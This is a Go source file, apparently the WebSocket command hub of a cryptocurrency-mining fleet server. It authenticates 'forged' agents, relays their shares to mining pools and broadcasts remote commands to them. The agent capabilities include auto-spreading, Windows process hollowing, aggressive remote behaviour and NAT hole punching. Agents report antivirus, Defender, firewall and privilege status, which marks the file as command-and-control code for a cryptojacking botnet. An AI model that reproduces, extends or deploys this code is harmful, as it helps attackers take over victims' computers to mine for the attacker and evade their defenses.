package api import ( "crypto/subtle" "encoding/base64" "encoding/json" "fmt" "log" "net/http" "strings" "sync" "time" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" "github.com/google/uuid" "github.com/gorilla/websocket" ) // secureStringEqual compares two strings in constant time to prevent timing attacks. func secureStringEqual(a, b string) bool { return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1 } // checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade. // The browser passes btoa("user:pass") — the same value stored in sessionStorage. func checkDashboardWSToken(r *http.Request) bool { token := r.URL.Query().Get("token") if token == "" { return false } decoded, err := base64.StdEncoding.DecodeString(token) if err != nil { return false } parts := strings.SplitN(string(decoded), ":", 2) if len(parts) != 2 { return false } user, pass := parts[0], parts[1] usersMu.RLock() stored, exists := authUsers[user] usersMu.RUnlock() return exists && checkPassword(stored, pass) } var upgrader = websocket.Upgrader{ ReadBufferSize: 512 * 1024, WriteBufferSize: 512 * 1024, CheckOrigin: func(r *http.Request) bool { return true // Allow all origins for local use }, } type Message struct { Type string `json:"type"` Payload json.RawMessage `json:"payload"` } type AgentConnection struct { AgentID string Conn *websocket.Conn mu sync.Mutex // Latency tracking — updated each ping/pong cycle. latencyMu sync.Mutex pingSentAt time.Time LatencyMs *int // nil until first pong received } func (c *AgentConnection) SendJSON(v interface{}) error { c.mu.Lock() defer c.mu.Unlock() return c.Conn.WriteJSON(v) } // DashboardConn wraps a dashboard WebSocket with its own write mutex so // broadcastDashboard and the ping loop never race on the same connection. type DashboardConn struct { Conn *websocket.Conn mu sync.Mutex } func (d *DashboardConn) WriteMessage(messageType int, data []byte) error { d.mu.Lock() defer d.mu.Unlock() return d.Conn.WriteMessage(messageType, data) } func (d *DashboardConn) WriteJSON(v interface{}) error { d.mu.Lock() defer d.mu.Unlock() return d.Conn.WriteJSON(v) } func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error { d.mu.Lock() defer d.mu.Unlock() return d.Conn.WriteControl(messageType, data, deadline) } type WSHub struct { db *db.Database agents map[string]*AgentConnection dashboards map[string]*DashboardConn poolManager *pool.Manager defaultPool pool.Config aiHandler *AIHandler agentConfigs map[string]AgentForgeConfig agentCapabilities map[string]models.AgentCapabilities agentLogs map[string]string // T1016 DNS drift detection — stores last seen resolver list per agent agentDNS map[string][]string serverPolicy ServerPolicy pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect mu sync.RWMutex } func NewWSHub(database *db.Database) *WSHub { // Reset any rows that were left "online" by a previous server crash/restart. // Agents will re-authenticate and flip themselves back to online within seconds. if database != nil { if err := database.MarkAllAgentsOffline(); err != nil { log.Printf("[hub] startup offline reset: %v", err) } } h := &WSHub{ db: database, agents: make(map[string]*AgentConnection), dashboards: make(map[string]*DashboardConn), agentConfigs: make(map[string]AgentForgeConfig), agentCapabilities: make(map[string]models.AgentCapabilities), agentLogs: make(map[string]string), agentDNS: make(map[string][]string), pingIntervalSec: 30, } // Background stale-agent sweep: if an agent's last_seen is more than // 3 minutes old but the row still says "online", force it offline. // This catches TCP half-open drops that slip past the ping/pong timeout. go h.runStaleAgentSweep() return h } // runStaleAgentSweep periodically marks online agents offline when their // last_seen timestamp is stale (> 3 minutes without a stats message). // It also notifies the dashboard so client state stays in sync. func (h *WSHub) runStaleAgentSweep() { if h.db == nil { return } const staleness = 3 * time.Minute ticker := time.NewTicker(45 * time.Second) defer ticker.Stop() for range ticker.C { // Only sweep agents that are NOT currently connected in memory. // If a live WS exists, let normal disconnect handling do its job. h.mu.RLock() liveIDs := make(map[string]bool, len(h.agents)) for id := range h.agents { liveIDs[id] = true } h.mu.RUnlock() agents, err := h.db.ListAgents() if err != nil { continue } for _, a := range agents { if a == nil || a.Status != "online" || liveIDs[a.ID] { continue } if time.Since(a.LastSeen) < staleness { continue } // Row claims online, no live socket, last_seen is stale — fix it. _ = h.db.SetAgentOffline(a.ID) h.broadcastDashboard(Message{ Type: "agent_offline", Payload: mustMarshal(map[string]string{"agent_id": a.ID}), }) log.Printf("[hub] stale-sweep marked agent %s offline (last_seen %s ago)", a.ID, time.Since(a.LastSeen).Round(time.Second)) } } } func (h *WSHub) SetServerPolicy(p ServerPolicy) { h.mu.Lock() h.serverPolicy = p h.mu.Unlock() } func (h *WSHub) SetPingInterval(seconds int) { if seconds < 10 { seconds = 30 } h.mu.Lock() h.pingIntervalSec = seconds h.mu.Unlock() } // SetFleetSecret stores the shared secret that all forged agents must present. // Called once at startup from main.go after config is loaded. func (h *WSHub) SetFleetSecret(secret string) { h.mu.Lock() h.fleetSecret = secret h.mu.Unlock() } func (h *WSHub) pingInterval() time.Duration { h.mu.RLock() sec := h.pingIntervalSec h.mu.RUnlock() if sec < 10 { sec = 30 } return time.Duration(sec) * time.Second } func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) { interval := h.pingInterval() ticker := time.NewTicker(interval) defer ticker.Stop() _ = conn.SetReadDeadline(time.Now().Add(interval * 2)) conn.SetPongHandler(func(string) error { return conn.SetReadDeadline(time.Now().Add(interval * 2)) }) for range ticker.C { if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil { return } } } // runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong. func (h *WSHub) runPingLoopAgent(ac *AgentConnection) { interval := h.pingInterval() ticker := time.NewTicker(interval) defer ticker.Stop() conn := ac.Conn _ = conn.SetReadDeadline(time.Now().Add(interval * 2)) conn.SetPongHandler(func(string) error { // Measure RTT. ac.latencyMu.Lock() if !ac.pingSentAt.IsZero() { ms := int(time.Since(ac.pingSentAt).Milliseconds()) ac.LatencyMs = &ms } ac.latencyMu.Unlock() return conn.SetReadDeadline(time.Now().Add(interval * 2)) }) for range ticker.C { ac.latencyMu.Lock() ac.pingSentAt = time.Now() ac.latencyMu.Unlock() if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil { // Close so the read loop wakes up and deferred cleanup fires immediately. _ = conn.Close() return } } } func (h *WSHub) runPingLoopDash(dc *DashboardConn) { interval := h.pingInterval() ticker := time.NewTicker(interval) defer ticker.Stop() _ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2)) dc.Conn.SetPongHandler(func(string) error { return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2)) }) for range ticker.C { if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil { return } } } func (h *WSHub) serverPolicySnapshot() ServerPolicy { h.mu.RLock() defer h.mu.RUnlock() return h.serverPolicy } func (h *WSHub) connectedAgentCount() int { h.mu.RLock() defer h.mu.RUnlock() return len(h.agents) } func (h *WSHub) isAgentConnected(agentID string) bool { h.mu.RLock() defer h.mu.RUnlock() _, ok := h.agents[agentID] return ok } // writeAgentJSON sends a message to a connected agent using the per-connection // write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON // from the read loop, or commands and new_job messages can corrupt each other. // // On any write error the underlying connection is closed immediately so the // read loop's ReadMessage call returns an error, triggering the deferred // cleanup (SetAgentOffline + agent_offline broadcast) without waiting the full // 90-second read deadline. func (h *WSHub) writeAgentJSON(agentID string, msg Message) error { ac := h.getAgentConn(agentID) if ac == nil { return fmt.Errorf("agent %s not connected", agentID) } if err := ac.SendJSON(msg); err != nil { // Closing the socket causes ReadMessage to fail immediately, which lets // the HandleAgentWS defer run cleanup instead of waiting up to 90s. _ = ac.Conn.Close() return err } return nil } func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) { h.mu.Lock() h.poolManager = manager h.defaultPool = defaultCfg h.mu.Unlock() } func (h *WSHub) SetAIHandler(ai *AIHandler) { h.mu.Lock() h.aiHandler = ai h.mu.Unlock() } func (h *WSHub) agentPoolConfig(agentID string) pool.Config { h.mu.RLock() defer h.mu.RUnlock() cfg := h.agentConfigs[agentID] poolCfg := pool.Config{ Host: cfg.poolHostOrDefault(h.defaultPool.Host), Port: cfg.poolPortOrDefault(h.defaultPool.Port), Wallet: cfg.Wallet, } if cfg.PoolHost == "" { poolCfg.UseTLS = h.defaultPool.UseTLS } else { poolCfg.UseTLS = cfg.PoolTLS } if cfg.PoolPass != "" { poolCfg.Password = cfg.PoolPass } else if h.defaultPool.Password != "" { poolCfg.Password = h.defaultPool.Password } else { poolCfg.Password = "x" } if poolCfg.Wallet == "" { poolCfg.Wallet = h.defaultPool.Wallet } // Always carry the payment ID from the server-wide default (agents don't // supply their own payment ID). poolCfg.PaymentID = h.defaultPool.PaymentID return poolCfg } func (h *WSHub) getAgentConn(agentID string) *AgentConnection { h.mu.RLock() defer h.mu.RUnlock() return h.agents[agentID] } func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { clientIP := r.Header.Get("X-Forwarded-For") if clientIP == "" { clientIP = r.RemoteAddr } log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin")) conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err) return } log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP) agentID := "" defer func() { if agentID != "" { h.mu.Lock() cur := h.agents[agentID] // Only tear down fleet state if this connection is still the active one. if cur != nil && cur.Conn == conn { delete(h.agents, agentID) delete(h.agentConfigs, agentID) delete(h.agentLogs, agentID) h.mu.Unlock() if h.aiHandler != nil { h.aiHandler.RemoveEngine(agentID) } h.db.SetAgentOffline(agentID) h.broadcastDashboard(Message{ Type: "agent_offline", Payload: mustMarshal(map[string]string{"agent_id": agentID}), }) } else { h.mu.Unlock() } } conn.Close() }() for { _, msgBytes, err := conn.ReadMessage() if err != nil { log.Printf("Agent read error: %v", err) break } var msg Message if err := json.Unmarshal(msgBytes, &msg); err != nil { log.Printf("Invalid message from agent: %v", err) continue } switch msg.Type { case "auth": var auth struct { AgentID string `json:"agent_id"` FleetSecret string `json:"fleet_secret"` Wallet string `json:"wallet"` BackupPools []struct { Host string `json:"host"` Port int `json:"port"` TLS bool `json:"pool_tls"` Pass string `json:"pass"` } `json:"backup_pools"` Version string `json:"version"` Hostname string `json:"hostname"` Worker string `json:"worker"` WorkerName string `json:"worker_name"` CPUCores int `json:"cpu_cores"` MemoryGB int `json:"memory_gb"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` ProcessHollowing bool `json:"process_hollowing"` Platform string `json:"platform"` Arch string `json:"arch"` OSVersion string `json:"os_version"` MacAddress string `json:"mac_address,omitempty"` } if err := json.Unmarshal(msg.Payload, &auth); err != nil { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "invalid auth payload", })}) continue } // Verify fleet secret. If the server has one configured, the agent must match. h.mu.RLock() requiredSecret := h.fleetSecret h.mu.RUnlock() log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret) if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) { conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "invalid fleet secret — re-forge this agent", })}) log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID) return } agentID = auth.AgentID if agentID == "" { agentID = uuid.New().String() } displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID) policy := h.serverPolicySnapshot() backupPools := make([]AgentBackupPool, len(auth.BackupPools)) for i, bp := range auth.BackupPools { backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass} } forgeCfg := AgentForgeConfig{ Wallet: auth.Wallet, PoolHost: auth.PoolHost, PoolPort: auth.PoolPort, PoolTLS: auth.PoolTLS, PoolPass: auth.PoolPass, AIEnabled: auth.AIEnabled, AIOllamaEndpoint: auth.AIOllamaEndpoint, AIModel: auth.AIModel, BackupPools: backupPools, } caps := models.AgentCapabilities{ HolePunch: auth.HolePunch, RemoteAggressive: auth.RemoteAggressive, MeshP2P: auth.MeshP2P, AutoSpread: auth.AutoSpread, ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows", AIEnabled: auth.AIEnabled, } h.mu.Lock() h.agentConfigs[agentID] = forgeCfg h.agentCapabilities[agentID] = caps h.mu.Unlock() if h.poolManager != nil { poolCfg := h.agentPoolConfig(agentID) if poolCfg.Password == "" { poolCfg.Password = "x" } // Build backup pool.Config list from what the agent sent at auth. var backupCfgs []pool.Config for _, bp := range backupPools { if bp.Host == "" || bp.Port <= 0 { continue } bpc := pool.Config{ Host: bp.Host, Port: bp.Port, UseTLS: bp.TLS, Wallet: poolCfg.Wallet, } if bp.Pass != "" { bpc.Password = bp.Pass } else { bpc.Password = poolCfg.Password } backupCfgs = append(backupCfgs, bpc) } // Connect to pool in background — do NOT block the auth_response. // The agent can start and the pool proxy will be ready by the time // the first share is submitted. go func(pc pool.Config, bcs []pool.Config, aid string) { if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil { log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err) } }(poolCfg, backupCfgs, agentID) } if h.aiHandler != nil && forgeCfg.AIEnabled { h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel) } clientIP := r.Header.Get("X-Forwarded-For") if clientIP == "" { clientIP = r.RemoteAddr } if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 { clientIP = clientIP[:idx] } agent := &models.Agent{ ID: agentID, Name: displayName, Wallet: auth.Wallet, IP: clientIP, Version: auth.Version, Status: "online", CPUCores: auth.CPUCores, MemoryGB: auth.MemoryGB, LastSeen: time.Now(), Platform: auth.Platform, Arch: auth.Arch, OSVersion: auth.OSVersion, Hostname: auth.Hostname, MacAddress: auth.MacAddress, Capabilities: &caps, } if err := h.db.UpsertAgent(agent); err != nil { log.Printf("Failed to upsert agent: %v", err) conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "database error", })}) break } if policy.LogAgentConnections { log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP) } // MaxAgents check + registration in a single Lock to prevent TOCTOU (M17): // two concurrent new agents could both pass the count check under RLock, then // both get registered, overshooting the limit. h.mu.Lock() if policy.MaxAgents > 0 { _, alreadyConnected := h.agents[agentID] if !alreadyConnected && len(h.agents) >= policy.MaxAgents { h.mu.Unlock() conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": false, "error": "fleet agent limit reached", })}) break } } if old, ok := h.agents[agentID]; ok && old.Conn != conn { oldConn := old.Conn h.mu.Unlock() oldConn.Close() h.mu.Lock() } ac := &AgentConnection{AgentID: agentID, Conn: conn} h.agents[agentID] = ac h.mu.Unlock() // Start the RTT-aware ping loop now that we have an AgentConnection. go h.runPingLoopAgent(ac) conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ "success": true, "agent_id": agentID, })}) // Enrich agent with hostname before broadcasting so the dashboard // immediately shows the correct machine-specific display name. agent.Hostname = auth.Hostname h.broadcastDashboard(Message{ Type: "agent_online", Payload: mustMarshal(agent), }) case "stats": if agentID == "" { continue } var stats struct { Hashrate15s float64 `json:"hashrate_15s"` Hashrate1m float64 `json:"hashrate_1m"` Hashrate15m float64 `json:"hashrate_15m"` SharesSubmitted int `json:"shares_submitted"` SharesAccepted int `json:"shares_accepted"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` // Listen ports ListenPortCount *int `json:"listen_port_count,omitempty"` // DNS config (T1016) DNSServers []string `json:"dns_servers,omitempty"` DNSSearchDomains []string `json:"dns_search_domains,omitempty"` // Resource pressure CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"` CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"` CPUThrottle *bool `json:"cpu_throttle,omitempty"` CPUTempC *int `json:"cpu_temp_c,omitempty"` DiskFreeGB *float64 `json:"disk_free_gb,omitempty"` DiskTotalGB *float64 `json:"disk_total_gb,omitempty"` DiskFreePct *int `json:"disk_free_pct,omitempty"` GPUTempC *int `json:"gpu_temp_c,omitempty"` GPUUsagePct *int `json:"gpu_usage_pct,omitempty"` // GPU / Ravencoin mining GPUMinerActive *bool `json:"gpu_miner_active,omitempty"` GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"` GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"` GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"` GPUModel string `json:"gpu_model,omitempty"` // SSH + posture SSHAvailable *bool `json:"ssh_available,omitempty"` PostureScore *int `json:"posture_score,omitempty"` DefenderEnabled *bool `json:"defender_enabled,omitempty"` DefenderRTP *bool `json:"defender_rtp,omitempty"` AVProducts []string `json:"av_products,omitempty"` FirewallDomain *bool `json:"firewall_domain,omitempty"` FirewallPrivate *bool `json:"firewall_private,omitempty"` FirewallPublic *bool `json:"firewall_public,omitempty"` LastPatchDays *int `json:"last_patch_days,omitempty"` LastPatch *string `json:"last_patch,omitempty"` PendingUpdates *int `json:"pending_updates,omitempty"` RebootPending *bool `json:"reboot_pending,omitempty"` AgentElevated *bool `json:"agent_elevated,omitempty"` Services []struct { Name string `json:"name"` DisplayName string `json:"display_name,omitempty"` Status string `json:"status"` StartType string `json:"start_type"` } `json:"services,omitempty"` } if err := json.Unmarshal(msg.Payload, &stats); err != nil { continue } sharesBad := stats.SharesSubmitted - stats.SharesAccepted if sharesBad < 0 { sharesBad = 0 } h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m, stats.SharesSubmitted, stats.SharesAccepted, sharesBad, stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds) h.db.InsertHashrateSample(agentID, stats.Hashrate15m) broadcast := map[string]interface{}{ "agent_id": agentID, "hashrate_15s": stats.Hashrate15s, "hashrate_1m": stats.Hashrate1m, "hashrate_15m": stats.Hashrate15m, "cpu_usage_pct": stats.CPUUsagePct, "memory_usage_pct": stats.MemoryUsagePct, "uptime_seconds": stats.UptimeSeconds, "shares_submitted": stats.SharesSubmitted, "shares_accepted": stats.SharesAccepted, } // Resource pressure fields if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz } if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz } if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle } if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC } if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB } if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB } if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct } if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC } if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct } // GPU / Ravencoin mining stats if stats.GPUMinerActive != nil { broadcast["gpu_miner_active"] = *stats.GPUMinerActive } if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s } if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m } if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m } if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel } // Listen port count if stats.ListenPortCount != nil { broadcast["listen_port_count"] = *stats.ListenPortCount } // T1016 DNS drift detection if len(stats.DNSServers) > 0 { broadcast["dns_servers"] = stats.DNSServers if stats.DNSSearchDomains != nil { broadcast["dns_search_domains"] = stats.DNSSearchDomains } h.mu.Lock() prev, hasPrev := h.agentDNS[agentID] drifted := hasPrev && !dnsEqual(prev, stats.DNSServers) h.agentDNS[agentID] = stats.DNSServers h.mu.Unlock() if drifted { broadcast["dns_drifted"] = true log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers) } } if stats.SSHAvailable != nil { broadcast["ssh_available"] = *stats.SSHAvailable } if stats.PostureScore != nil { broadcast["posture_score"] = *stats.PostureScore } if stats.DefenderEnabled != nil { broadcast["defender_enabled"] = *stats.DefenderEnabled } if stats.DefenderRTP != nil { broadcast["defender_rtp"] = *stats.DefenderRTP } if len(stats.AVProducts) > 0 { broadcast["av_products"] = stats.AVProducts } if stats.FirewallDomain != nil { broadcast["firewall_domain"] = *stats.FirewallDomain } if stats.FirewallPrivate != nil { broadcast["firewall_private"] = *stats.FirewallPrivate } if stats.FirewallPublic != nil { broadcast["firewall_public"] = *stats.FirewallPublic } if stats.LastPatchDays != nil { broadcast["last_patch_days"] = *stats.LastPatchDays } if stats.LastPatch != nil { broadcast["last_patch"] = *stats.LastPatch } if stats.PendingUpdates != nil { broadcast["pending_updates"] = *stats.PendingUpdates } if stats.RebootPending != nil { broadcast["reboot_pending"] = *stats.RebootPending } if stats.AgentElevated != nil { broadcast["agent_elevated"] = *stats.AgentElevated } if len(stats.Services) > 0 { broadcast["services"] = stats.Services } // Attach latest RTT latency from the ping loop. if ac := h.getAgentConn(agentID); ac != nil { ac.latencyMu.Lock() if ac.LatencyMs != nil { broadcast["latency_ms"] = *ac.LatencyMs } ac.latencyMu.Unlock() } h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) case "submit_share": if agentID == "" { continue } var share models.Share if err := json.Unmarshal(msg.Payload, &share); err != nil { continue } share.AgentID = agentID share.Timestamp = time.Now() share.Accepted = false shareID, err := h.db.InsertShare(&share) if err != nil { log.Printf("Failed to insert share: %v", err) continue } sendShareResult := func(accepted bool, errMsg string) { share.Accepted = accepted share.Error = errMsg if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil { log.Printf("Failed to update share result: %v", err) } if h.serverPolicySnapshot().LogShareSubmissions { log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg) } agentConn := h.getAgentConn(agentID) if agentConn != nil { result := map[string]interface{}{ "job_id": share.JobID, "accepted": accepted, } if errMsg != "" { result["error"] = errMsg } _ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)}) } h.broadcastDashboard(Message{ Type: "new_share", Payload: mustMarshal(map[string]interface{}{ "id": shareID, "agent_id": agentID, "job_id": share.JobID, "accepted": accepted, "hash": share.Hash, "nonce": share.Nonce, "error": errMsg, "timestamp": share.Timestamp, }), }) } if h.poolManager == nil { sendShareResult(false, "pool manager not configured") continue } poolCfg := h.agentPoolConfig(agentID) proxy := h.poolManager.GetPool(&poolCfg) if proxy == nil { if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil { proxy = p } else { sendShareResult(false, "pool not connected: "+err.Error()) continue } } if !proxy.IsConnected() { sendShareResult(false, "pool not connected") continue } wallet := poolCfg.Wallet if wallet == "" { wallet = h.defaultPool.Wallet } go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult) case "get_job": if agentID == "" { continue } var proxy *pool.Proxy if h.poolManager != nil { poolCfg := h.agentPoolConfig(agentID) // Only use GetPool (non-blocking). If the pool hasn't connected yet // (background EnsurePoolWithBackups from auth is still dialing), kick // off another async attempt rather than blocking the WS read loop. proxy = h.poolManager.GetPool(&poolCfg) if proxy == nil { go func(pc pool.Config) { if p, err := h.poolManager.EnsurePool(&pc); err != nil { log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err) } else { _ = p } }(poolCfg) } } if proxy != nil { job := proxy.GetCurrentJob() if job != nil { _ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)}) } else { _ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})}) } } else { _ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})}) } case "log_tail": if agentID == "" { continue } var payload struct { Content string `json:"content"` Lines int `json:"lines"` } if err := json.Unmarshal(msg.Payload, &payload); err != nil { continue } h.mu.Lock() h.agentLogs[agentID] = payload.Content h.mu.Unlock() h.broadcastDashboard(Message{ Type: "agent_log", Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}), }) case "command_result": if agentID == "" { continue } var payload map[string]interface{} if err := json.Unmarshal(msg.Payload, &payload); err != nil { continue } payload["agent_id"] = agentID h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)}) } } } func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) { // Verify dashboard session. The SPA sends its stored Basic-auth token as // ?token= because the WS upgrade can't carry Authorization headers. // We decode it and check against the same in-memory user map as the REST API. if !checkDashboardWSToken(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr) return } conn, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Printf("Dashboard WebSocket upgrade error: %v", err) return } dc := &DashboardConn{Conn: conn} dashID := uuid.New().String() h.mu.Lock() h.dashboards[dashID] = dc h.mu.Unlock() defer func() { h.mu.Lock() delete(h.dashboards, dashID) h.mu.Unlock() conn.Close() }() // Send initial data — reconcile DB status against live hub state so a // freshly loaded dashboard never shows stale "online" phantoms. agents, _ := h.db.ListAgents() h.enrichAgentsCapabilities(agents) for _, a := range agents { if a == nil { continue } if h.isAgentConnected(a.ID) { a.Status = "online" } else { // Correct any row that says "online" but has no live socket. a.Status = "offline" } } stats, _ := h.db.GetFleetStats() _ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{ "agents": agents, "stats": stats, })}) go h.runPingLoopDash(dc) // Keep connection alive, read close messages for { _, _, err := conn.ReadMessage() if err != nil { break } } } func (h *WSHub) broadcastDashboard(msg Message) { h.mu.RLock() defer h.mu.RUnlock() data, err := json.Marshal(msg) if err != nil { return } for id, dc := range h.dashboards { if err := dc.WriteMessage(websocket.TextMessage, data); err != nil { log.Printf("Failed to send to dashboard %s: %v", id, err) dc.Conn.Close() id := id go func() { h.mu.Lock() delete(h.dashboards, id) h.mu.Unlock() }() } } } func mustMarshal(v interface{}) json.RawMessage { data, _ := json.Marshal(v) return data } // dnsEqual returns true when two DNS server lists contain the same addresses // regardless of order. Used for T1016 drift detection. func dnsEqual(a, b []string) bool { if len(a) != len(b) { return false } m := make(map[string]int, len(a)) for _, v := range a { m[v]++ } for _, v := range b { m[v]-- if m[v] < 0 { return false } } return true } // BroadcastToAgents sends a message to all connected agents. // Any agent whose write fails has its connection closed so the read-loop // defer fires quickly and cleans up the hub entry. func (h *WSHub) BroadcastToAgents(msg Message) { h.mu.RLock() defer h.mu.RUnlock() for id, agent := range h.agents { if err := agent.SendJSON(msg); err != nil { log.Printf("[hub] broadcast write failed agent %s: %v — closing socket", id, err) _ = agent.Conn.Close() } } } // SendToAgent sends a message to one connected agent. // On write failure the socket is closed immediately so the read-loop defer // fires and calls SetAgentOffline without waiting the full read deadline. func (h *WSHub) SendToAgent(agentID string, msg Message) error { agent := h.getAgentConn(agentID) if agent == nil { return fmt.Errorf("agent %s not connected", agentID) } if err := agent.SendJSON(msg); err != nil { _ = agent.Conn.Close() return err } return nil } // RemoveAgent forcibly disconnects an agent and removes it from the live map. // It then broadcasts agent_deleted to all dashboard clients so the UI removes // the agent immediately without waiting for the disconnect goroutine to fire. func (h *WSHub) RemoveAgent(agentID string) { h.mu.Lock() if ac, ok := h.agents[agentID]; ok { // Nil the map entry BEFORE closing so the agent goroutine's deferred // cleanup (which checks cur.Conn == conn) falls into the else branch // and skips SetAgentOffline — avoiding a write to an already-deleted row. delete(h.agents, agentID) delete(h.agentConfigs, agentID) delete(h.agentLogs, agentID) delete(h.agentCapabilities, agentID) ac.Conn.Close() } h.mu.Unlock() // Broadcast deletion so every connected dashboard removes the agent immediately. h.broadcastDashboard(Message{ Type: "agent_deleted", Payload: mustMarshal(map[string]string{"agent_id": agentID}), }) } // SendAgentCommand sends a remote command to an agent. func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error { payload := map[string]interface{}{"action": action} for k, v := range args { payload[k] = v } return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)}) } // BroadcastAgentCommand sends a remote command to all connected agents. func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) { payload := map[string]interface{}{"action": action} for k, v := range args { payload[k] = v } h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)}) } func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) { h.mu.RLock() defer h.mu.RUnlock() for _, a := range agents { if a == nil { continue } if caps, ok := h.agentCapabilities[a.ID]; ok { c := caps a.Capabilities = &c } } } func (h *WSHub) GetAgentLog(agentID string) string { h.mu.RLock() defer h.mu.RUnlock() return h.agentLogs[agentID] } func (h *WSHub) BroadcastFleetAlert(ev interface{}) { h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)}) } func (h *WSHub) BroadcastPoolStatus(status interface{}) { h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)}) } 